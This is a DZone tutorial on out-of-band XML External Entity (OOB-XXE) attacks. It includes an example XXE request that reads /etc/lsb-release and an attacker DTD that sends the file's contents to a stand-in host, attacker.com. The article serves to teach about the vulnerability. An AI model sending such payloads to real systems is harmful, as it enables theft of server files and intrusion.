DZone
Thanks for visiting DZone today,
Edit Profile
  • Manage Email Subscriptions
  • How to Post to DZone
  • Article Submission Guidelines
Sign Out View Profile
  • Post an Article
  • Manage My Drafts
Newsletter
Log In / Join
Refcards Trend Reports
Events Video Library
Refcards
Trend Reports

Events

View Events Video Library

Related

  • The Hidden Engineering Cost of XML in Enterprise Development Workflows
  • The AI Firewall: Using Local Small Language Models (SLMs) to Scrub PII Before Cloud Processing
  • How to Convert XLS to XLSX in Java
  • Understanding Java Signals

Trending

  • Beyond the Wall of Charts: How Advanced Observability Displaced the Telemetry Dashboard
  • When Production Stops Moving: Running Claude Code Across a Distributed Enterprise Integration Team
  • You Do Not Need a PhD to Become an AI Engineer: The Essential Skill Stack
  • Guess the Speed: Building a Family Internet Speed Guessing Game

Draft This article hasn't been published, so readers can't see it.

In moderation This article is waiting for review, so readers can't see it yet.

Deleted This article has been deleted, so readers can't see it.

  1. DZone
  2. Coding
  3. Languages
  4. Out-of-Band XML External Entity (OOB-XXE)

Out-of-Band XML External Entity (OOB-XXE)

We wrap up our series on XXE vulnerabilities and discuss how hackers can use OOB-XXE to steal data from the victims' system.

By 
Ian Muscat
·
Jul. 21, 17 · Tutorial
Post on X (opens in a new tab) Share on LinkedIn (opens in a new tab)
11.3K Views

Join the DZone community Save articles, join the discussion, and download Refcards and Trend Reports with a free account.

Join for free Already a member? Log in

The previous articles in this series have touched upon in-band XML External Entity (XXE), that is when an attacker can send a request with an XXE payload and get a response back from the web application containing some data. However, this is often not the case.

There are many situations whereby an attacker can send an XML External Entity (XXE) payload to a web application, but the response will never be returned back. This is known as an Out-of-band vulnerability. The process for exploiting such a vulnerability is similar to the above example using parameter entities, with one difference – the attacker needs to get the XML parser to make an additional request to an attacker-controlled server in order to read the contents of the file.

The following is an example of how an attacker could leverage parameter entities to steal data using an Out-of-Band (OOB) technique.

Request 

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

Attacker DTD (attacker.com/evil.dtd)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>"> %all;  

The XML parser will first process the %file parameter entity, which loads the file /etc/lsb-release. Next, the XML parser will make a request to the attacker’s DTD at http://attacker.com/evil.dtd.

Once the attacker’s DTD is processed, the all% parameter entity will create a general entity called &send;, which contains a URL containing the file’s contents (e.g., http://attacker.com/?collect=DISTRIB_ID=Ubuntu…). Finally, once the URL is constructed, the &send;; entity is processed by the parser, which makes a request to the attacker’s server. The attacker can then log the request on their end and reconstruct the contents of the file from the logged request.

Conclusion

XML External Entity (XXE), while not as prevalent as other vulnerabilities, is a very serious vulnerability that affects almost any web application that in some way or other parses XML.

XML External Entity (XXE) can be used to steal system files and source code on local servers, as well as launch Server-side Request Forgery (SSRF) attacks to other servers on the internal network. What’s more, XXE can also be used to cause Denial of Service when using some XML parsers, and external entities are enabled by default even though they are almost never needed by the application.

XML entity

Published at DZone with permission of Ian Muscat. See the original article here.

Opinions expressed by DZone contributors are their own.

Related

  • The Hidden Engineering Cost of XML in Enterprise Development Workflows
  • The AI Firewall: Using Local Small Language Models (SLMs) to Scrub PII Before Cloud Processing
  • How to Convert XLS to XLSX in Java
  • Understanding Java Signals

Partner Resources

×

Comments

Loading comments

The comments didn't load

Please try again in a moment.

Likes

Loading

The next likes didn't load. Please try again.

The likes didn't load

Please try again in a moment.

See who liked this

Log in or join DZone for free to see who liked this article.

Log in Join for free
  • RSS
  • X
  • Facebook

ABOUT US

  • About DZone
  • Support and feedback
  • Community research

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 215
  • Nashville, TN 37211
  • [email protected]

Let's be friends:

  • RSS
  • X
  • Facebook